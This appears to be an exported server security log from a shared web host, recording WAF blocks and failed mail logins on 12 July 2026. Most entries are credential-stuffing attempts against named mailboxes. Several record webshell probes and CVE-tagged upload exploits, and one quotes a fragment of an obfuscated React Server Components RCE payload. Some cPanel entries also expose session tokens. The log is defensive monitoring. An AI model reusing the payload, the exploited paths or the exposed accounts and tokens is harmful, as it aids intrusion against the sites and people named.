IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/elegantautomotiv/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-12 19:37:51 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [122.185.101.50]:42382: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-12 19:37:59 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network (dynamic-ip-adsl.viettel.vn) [202.62.129.18]:53911: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-12 19:41:13 dovecot_login authenticator failed for H=(abts-north-static-104.21.176.122.airtelbroadband.in) [88.255.189.50]:37472: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-12 19:41:01 dovecot_login authenticator failed for H=([218.156.8.97]) [182.76.71.82]:57762: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-12 19:41:52 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([112.28.73.142]) [83.255.209.245]:35522: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.241.142.170
country_id: 3865483
description:
2026-07-12 19:41:24 dovecot_login authenticator failed for H=(210.0.90.81.static.nexnet.net.au) [191.241.142.170]:46933: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-12 19:41:39 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [182.95.226.138]:50242: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-12 19:44:15 dovecot_login authenticator failed for H=(host-96-30-129-165.public.eastlink.ca) [63.78.215.208]:46322: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-12 19:44:39 dovecot_login authenticator failed for H=(c83-255-209-245.bredband.tele2.se) [38.148.99.59]:35880: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-12 19:47:27 dovecot_login authenticator failed for H=([49.125.201.67]) [51.162.194.94]:58027: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-12 19:50:31 dovecot_login authenticator failed for H=(162.9.52.116.broad.km.yn.dynamic.163data.com.cn) [197.157.252.162]:39869: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-12 19:59:11 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net ([121.26.29.66]) [111.70.3.122]:41986: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-12 20:03:36 dovecot_login authenticator failed for H=([103.130.207.227]) [120.29.140.188]:47309: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-12 20:04:08 dovecot_login authenticator failed for H=([184.170.249.69]) [122.185.101.50]:54064: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 188.253.126.218
country_id: 1819730
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icowsgmdp/fonts/flaaeqb.PHP||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 188.253.126.218
country_id: 1819730
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofjgqyt/fonts/fjzqkre.PHP||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-12 20:11:50 dovecot_login authenticator failed for H=([217.24.185.98]) [41.219.149.74]:12451: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-12 20:16:36 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([40.68.103.10]) [67.85.146.216]:40463: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 184.72.115.35
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/658aa906c2fa85f2.php||SC:/home/futuracarecom/public_html/images/658aa906c2fa85f2.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-12 20:18:01 dovecot_login authenticator failed for H=([220.180.107.193]) [197.219.208.38]:44510: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-12 20:17:47 dovecot_login authenticator failed for H=([109.206.115.23]) [101.13.6.86]:45672: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.156.82.197
country_id: 1861060
description:
2026-07-12 20:18:10 dovecot_login authenticator failed for H=p2715197-ipngnfx01funabasi.chiba.ocn.ne.jp ([58.218.195.26]) [114.156.82.197]:51707: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-12 20:17:39 dovecot_login authenticator failed for H=(dynamic-acs-24-101-161-112.zoominternet.net) [64.72.74.162]:57854: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-12 20:18:29 dovecot_login authenticator failed for H=([222.97.195.179]) [122.169.40.221]:33746: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-12 20:20:17 dovecot_login authenticator failed for H=([174.64.199.77]) [65.20.191.231]:40196: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.50
country_id: 1668284
description:
2026-07-12 20:19:47 dovecot_login authenticator failed for H=([106.13.181.87]) [101.13.5.50]:40588: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-12 20:21:07 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([182.95.185.14]) [83.166.50.15]:56169: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-12 20:20:35 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([72.207.109.1]) [111.70.23.252]:48390: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.213.149.27
country_id: 3489940
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/25/investment-on-private-sector/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 193.37.33.175
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.28||T:APACHE||REQUEST_URI:/2020/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-12 20:22:50 dovecot_login authenticator failed for H=([72.207.113.126]) [14.96.106.175]:46442: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-12 20:23:18 dovecot_login authenticator failed for H=([128.185.253.122]) [65.20.134.97]:33610: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-12 20:22:41 dovecot_login authenticator failed for H=([218.149.228.151]) [64.49.97.15]:47170: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-12 20:23:05 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [128.185.253.122]:33928: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.218.144.143
country_id: 130758
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:17044.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c14c46e1da84bc620667082814c2d1f54f6caa8a||Title:0xc4398835||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-12 20:29:09 +0530] info [cpaneld] 223.181.13.36 NEW ibmcglobal:6swE6KMjlWeX4oIq address=223.181.13.36,app=cpaneld,creator=ibmcglobal,method=handle_form_login,path=loadsession:ibmcglobal:aDrx9ySBL81pq_KG,possessed=1,possessor=root


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-12 20:29:08 +0530] info [whostmgrd] 223.181.13.36 NEW ibmcglobal:aDrx9ySBL81pq_KG address=223.181.13.36,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.35.15
country_id: 1168579
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/blog/index.html HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 125.164.232.79
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-9gx89ydl.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var zyav=[].slice.call(arguments,1)[0];var vuh=zyav;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"f\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-12 20:47:48 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([74.119.144.57]) [75.80.65.214]:46773: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-12 20:50:47 dovecot_login authenticator failed for H=(syn-184-057-039-170.res.spectrum.com) [181.61.251.4]:35558: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-12 20:51:19 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com (wsip-24-120-10-18.lv.lv.cox.net) [82.209.191.11]:36428: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-12 20:52:43 dovecot_login authenticator failed for H=(c-50-188-204-213.unallocated.comcastbusiness.net) [196.191.142.67]:38428: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-12 20:53:04 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([191.217.23.65]) [135.125.199.17]:49386: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-12 20:52:30 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net (ipmapt-72-195-114-171.oc.oc.cox.net) [111.70.9.143]:55695: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-12 20:56:54 dovecot_login authenticator failed for H=([184.181.178.35]) [185.66.234.228]:40284: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-12 21:01:50 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([36.137.38.119]) [200.105.141.172]:35058: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-12 21:02:18 dovecot_login authenticator failed for H=(109.43.246.220.static.netvigator.com) [128.185.208.42]:59438: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.38.139
country_id: 298795
description:
2026-07-12 21:04:44 dovecot_login authenticator failed for H=([207.219.221.101]) [81.214.38.139]:59852: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-12 21:04:58 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([202.72.193.36]) [111.70.11.38]:41534: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.7.149
country_id: 1733045
description:
2026-07-12 21:08:02 dovecot_login authenticator failed for H=([183.105.71.98]) [183.171.7.149]:48742: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-12 21:09:08 dovecot_login authenticator failed for H=([114.104.153.51]) [182.95.123.50]:40796: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-12 21:08:53 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([103.163.44.10]) [83.191.181.23]:39262: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-07-12 21:09:45 dovecot_login authenticator failed for H=([59.17.27.137]) [122.160.85.144]:39336: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.105.192.186
country_id: 3057568
description:
2026-07-12 21:09:56 dovecot_login authenticator failed for H=95-105-192-186.dynamic.orange.sk ([111.53.189.3]) [95.105.192.186]:22035: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 162.212.168.123
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://Kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-12 21:10:35 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com (ip-68-71-242-113.hosts.zerolag.com) [78.66.44.23]:59382: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-12 21:10:36 dovecot_login authenticator failed for H=([59.22.68.213]) [218.156.93.203]:38760: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-12 21:10:52 dovecot_login authenticator failed for H=([211.228.92.253]) [211.104.166.110]:55720: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.102
country_id: 1733045
description:
2026-07-12 21:11:44 dovecot_login authenticator failed for H=([60.12.106.119]) [49.124.147.102]:52866: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-12 21:12:44 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([103.93.37.178]) [90.230.212.29]:44490: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-12 21:15:01 dovecot_login authenticator failed for H=([183.56.238.70]) [182.95.116.66]:59722: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-12 21:15:29 dovecot_login authenticator failed for H=([98.181.137.75]) [182.95.228.194]:46922: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-12 21:17:52 dovecot_login authenticator failed for H=([36.42.67.114]) [65.20.134.97]:38669: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 27.121.112.181
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:149571||Sizes:1194||Combined size:1194||User:globalgroupoman||WPU:||Filename:icoljidum.zip||Scanned:/tmp//20260712-212008-alO3sHaHp5yXZLG_O819cgAAAIc-file-CcjGA0||SC:/home/globalgroupoman/public_html/sppagebuilder_upload.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 27.121.112.181
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icoljidum.zip||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 27.121.112.181
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:149219||Sizes:1192||Combined size:1192||User:globalgroupoman||WPU:||Filename:icomfnctc.zip||Scanned:/tmp//20260712-212008-alO3sKBVZFvH7yn6CodONQAAAAs-file-BFqj8F||SC:/home/globalgroupoman/public_html/sppagebuilder_upload.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 27.121.112.181
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:custom_icon||MV:icomfnctc.zip||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-12 21:21:04 dovecot_login authenticator failed for H=([49.124.153.2]) [122.184.124.46]:40952: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-12 21:21:18 dovecot_login authenticator failed for H=([149.54.40.182]) [110.227.211.82]:52124: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-12 21:22:29 dovecot_login authenticator failed for H=([72.195.101.102]) [182.95.102.190]:55576: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-12 21:26:19 dovecot_login authenticator failed for H=([36.135.100.48]) [121.131.220.168]:43212: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-12 21:26:13 dovecot_login authenticator failed for H=([125.139.124.120]) [217.29.30.135]:37289: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.237.236.66
country_id: 298795
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:49263.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ea0fb2634a650e651f6d8a4a551709de02f44755||Title:0x1e2c6636||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-12 21:26:56 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([111.26.184.29]) [89.68.245.7]:50692: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-07-12 21:27:00 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [101.13.1.75]:38934: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-12 21:26:31 dovecot_login authenticator failed for H=([58.18.80.18]) [121.148.184.47]:60488: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-12 21:28:04 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net (dsl-hkibng42-50dfc0-112.dhcp.inet.fi) [68.7.114.69]:37805: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.161.116
country_id: 1835841
description:
2026-07-12 21:28:42 dovecot_login authenticator failed for H=([183.171.4.155]) [14.49.161.116]:56297: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-12 21:28:54 dovecot_login authenticator failed for H=([70.166.167.48]) [213.230.66.211]:49194: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-12 21:29:04 dovecot_login authenticator failed for H=([72.206.74.97]) [122.186.249.6]:33492: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.196.164.144
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://217.70.146.134/ads/adclick.php?bannerid=159&zoneid=8&source=&dest=https://www.faroswatch.com/bonjour-tout-le-monde/\">najlepsze kasyna online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-12 21:35:25 dovecot_login authenticator failed for H=(157.ip-51-75-142.eu) [112.164.239.190]:35475: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.75.44
country_id: 1835841
description:
2026-07-12 21:37:03 dovecot_login authenticator failed for H=([142.54.231.33]) [121.1.75.44]:48247: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/images/cache.php||SC:/home/ahsmarine/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.137.230
country_id: 1269750
description:
2026-07-12 21:39:37 dovecot_login authenticator failed for H=([59.110.5.198]) [122.160.137.230]:44020: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-12 21:39:24 dovecot_login authenticator failed for H=([174.64.199.87]) [41.89.128.6]:55992: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-12 21:44:19 dovecot_login authenticator failed for H=(wsip-24-120-10-18.lv.lv.cox.net) [5.48.46.95]:54650: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.99.195
country_id: 1269750
description:
2026-07-12 21:44:06 dovecot_login authenticator failed for H=([162.217.227.37]) [122.170.99.195]:43285: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.114.40.60
country_id: 1835841
description:
2026-07-12 21:50:53 dovecot_login authenticator failed for H=(nsg-corporate-3.18.186.122.airtel.in) [211.114.40.60]:40918: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-12 21:51:10 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [185.66.234.228]:43806: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-12 21:50:22 dovecot_login authenticator failed for H=(nsg-corporate-172.231.187.122.airtel.in) [217.29.30.135]:42050: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-12 21:50:40 dovecot_login authenticator failed for H=([107.181.168.150]) [188.122.37.97]:59910: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-12 21:54:19 dovecot_login authenticator failed for H=([223.109.200.181]) [183.104.220.84]:44574: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-12 21:54:09 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net (60-250-63-7.hinet-ip.hinet.net) [110.25.109.54]:53839: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
